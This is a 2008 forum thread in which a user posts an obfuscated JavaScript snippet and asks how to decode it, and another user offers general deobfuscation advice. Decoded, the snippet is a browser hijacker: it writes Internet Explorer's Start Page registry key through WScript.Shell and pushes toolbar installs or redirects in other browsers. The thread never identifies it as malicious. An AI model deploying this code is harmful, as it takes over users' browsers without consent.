PDA

View Full Version : can any help me decrypting this Crap !!


thewhizgeek
27-01-2008, 01:42 AM
<script language=javascript>document.write(unescape('<script language="javascript">function dF(s){var s1=unescape(s.substr(0,s.length-1)); var t='';for(i=0;i<s1.length;i )t =String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-1,1));document.write(unescape(t));}</script>'));dF('&4Dtdsjqu&31uzqf&4E&33ufyu0kbwbtdsjqu&33&4F&1E&1B&1E&1Bcefufdu&39&3:&1E&1Bgvodujpo&31cefufdu&39&3:&1E&1B&8C&1E&1B&1:&1E&1Bjg&39obwjhbups/bqqObnf&31&4E&4E&31&33Pqfsb&33&3:&1E&1B&8C&1E&1Bpqfsb&39&3:&1E&1B&8E&1E&1B&31jg&39obwjhbups/bqqObnf&31&4E&4E&31&33Ofutdbqf&33&3:&1E&1B&8C&1E&1BGjsfg&39&3:&1E&1B&1E&1B&8E&1E&1B&31jg&39obwjhbups/bqqObnf&31&4E&4E&31&33Njdsptpgu&31Joufsofu&31Fyqmpsfs&33&31&3:&1E&1B&8C&1E&1B&31Ntjf&39&3:&1E&1B&8E&1E&1B&31xjoepx/mpdbujpo&31&4E&4E&31&33Puifs/iunm&33&1E&1B&31&8E&1E&1B&1E&1Bgvodujpo&31Ntjf&39&3:&1E&1B&1E&1B&1:&1E&1B&1:&31&8C&1E&1B&1:&31sfhxsjuf&39&3:&1E&1B&1:&31&1E&1B&1:&31&1E&1B&1:&31&1E&1B&1:&31&1:gvodujpo&31sfhxsjuf&39&3:&8C&1E&1B&1:&1:&1:&1E&1B&1:&1:&1:&1:ILFZ&31&4E&31&33ILFZ`DVSSFOU`VTFS&6D&6DTpguxbsf&6D&6DNjdsptpgu&6D&6DJoufsofu&31Fyqmpsfs&6D&6DNbjo&6D&6DTubsu&31Qbhf&33&4C&1E&1B&1:&1:&1:&1:&1E&1B&1:&1:&1:&1:&1E&1B&1:&1:&1:&1:wbs&31inqbhf&31&4E&31ofx&31BdujwfYPckfdu&39&33XTdsjqu/Tifmm&33&3:&4C&1E&1B&1:&1:&1:&1:&1E&1B&1:&1:&1:&1:inqbhf/sfhxsjuf&39ILFZ&3D&31&33iuuq&4B00xxx/cpytus/dpn0&33&3:&1E&1B&1:&1:&1:&1:&1E&1B&1:&1:&1:&8E&1E&1B&1:&1:&1:&1E&1B&1:&1:&1:&1E&1B&1:&1:&1E&1B&1:&1E&1B&1:&1:&1:&1E&1B&1:&31&1E&1B&1:&31&1E&1B&8E&1E&1Bgvodujpo&31Gjsfg&39&3:&1E&1B&8C&1E&1Bepdvnfou/xsjuf&39&33&4Db&31isfg&4E&33&3:&1E&1B&1:&1:epdvnfou/xsjuf&39&33iuuq&4B00uppmcbs/hpphmf/dpn0cvuupot0bee&4Gvsm&4E&33&3:&1E&1B&1:&1:epdvnfou/xsjuf&39&33iuuq&4B00xxx/hfpdjujft/dpn0svef`cy0ofxqspkfdu0cpytus/ynm&33&3:&1E&1B&1:&1:epdvnfou/xsjuf&39&33&4FBee&4D0b&4F&6Do&33&3:&1E&1B&1:&1:&1E&1B&1:&1:&1:&1:epdvnfou/xsjuf&39&33&6Do&31qmfbtf&31dmjdl&31BEE&31up&31jotubmm&31CPYTUS&32&31cvuupo&31up&31zpvs&31Hpphmf&31uppmcbs&33&3:&4C&1E&1B&1:&31&1:&1E&1B&1E&1B&1:&8E&1E&1B&1:&1E&1B&1E&1B&1E&1Bgvodujpo&31pqfsb&39&3:&1E&1B&8C&1E&1B&1:&1E&1Biqbhfmpd&39&3:&1E&1B&1:&1E&1B&1:&1E&1B&8E&1E&1B&1E&1Bgvodujpo&31iqbhfmpd&39&3:&1E&1B&8C&1E&1Bxjoepx/mpdbujpo&4E&33iuuq&4B00xxx/cpytus/dpn0&33&1E&1B&1E&1B&8E&1E&1B&1E&1B&1E&1Bgvodujpo&31Hqbzmpbe&39&3:&1E&1B&8C&1E&1B&1:epdvnfou/xsjuf&39&33&4Db&31isfg&4E&33&3:&1E&1B&1:&1:epdvnfou/xsjuf&39&33iuuq&4B00uppmcbs/hpphmf/dpn0cvuupot0bee&4Gvsm&4E&33&3:&1E&1B&1:&1:epdvnfou/xsjuf&39&33iuuq&4B00xxx/hfpdjujft/dpn0svef`cy0ofxqspkfdu0cpytus/ynm&33&3:&1E&1B&1:&1:epdvnfou/xsjuf&39&33&4FBee&4D0b&4F&33&3:&1E&1B&1:&1:&1:&1:epdvnfou/xsjuf&39&33qmfbtf&31dmjdl&31BEE&31up&31jotubmm&31cpytus&31cvuupo&31up&31zpvs&31Hpphmf&31uppmcbs&33&3:&1E&1B&1:&31&1:tfuUjnfpvu&39iqbhfmpd&39&3:&3D21111&3:&4C&1E&1B&8E&1E&1B&1E&1B&1E&1B&1E&1B&1:&1:&1:&4D0tdsjqu&4F&1E&1B&1:1')</script>


guess it is unicode + ctrl characters, if i m rite, can any gimme pointers on tat..thanks

QwertyManiac
27-01-2008, 02:35 AM
Ah, obfuscated code.

What does it do? Why are you trying to deobfuscate it? Stealing it? :mrgreen:

You could try JS debuggers or 'pretty printers' but ... there is no perfect way to deobfuscate code, you have to try your hand manually at it reading and implementing what you think should be there. A better way would be to build the same function in a neat manner and compare, and keep fixing until you have the completed code yourself.

Edit: http://dshield.org/diary.html?storyid=2358 (Supportive link)

thewhizgeek
27-01-2008, 04:50 PM
but there should be a way out rite ! curious to know how !!!

QwertyManiac
27-01-2008, 09:29 PM
You can get back at most the library functions used but never the actual variable names or function names used. Its largely unlikely. Why do you wish to do this? You should respect the code author's desire, he doesn't want you to read, and thats why he's chosen to obfuscate it. Many sites do this to their webpage generating scripts. Helps avoid attacks and keeps the technology safe. :)

thewhizgeek
28-01-2008, 01:16 AM
it was out of curiosity and anxiety !! btw, knowledge is power :) aint it..
jus for knowledge sake... btw, so can i ask in here,wat r ur intrests in computing ? thanks :) bye

QwertyManiac
28-01-2008, 08:21 AM
You can still attempt to prettify it, actually thats more than enough, you can (atleast) halfway understand how it works. See that link I'd given above.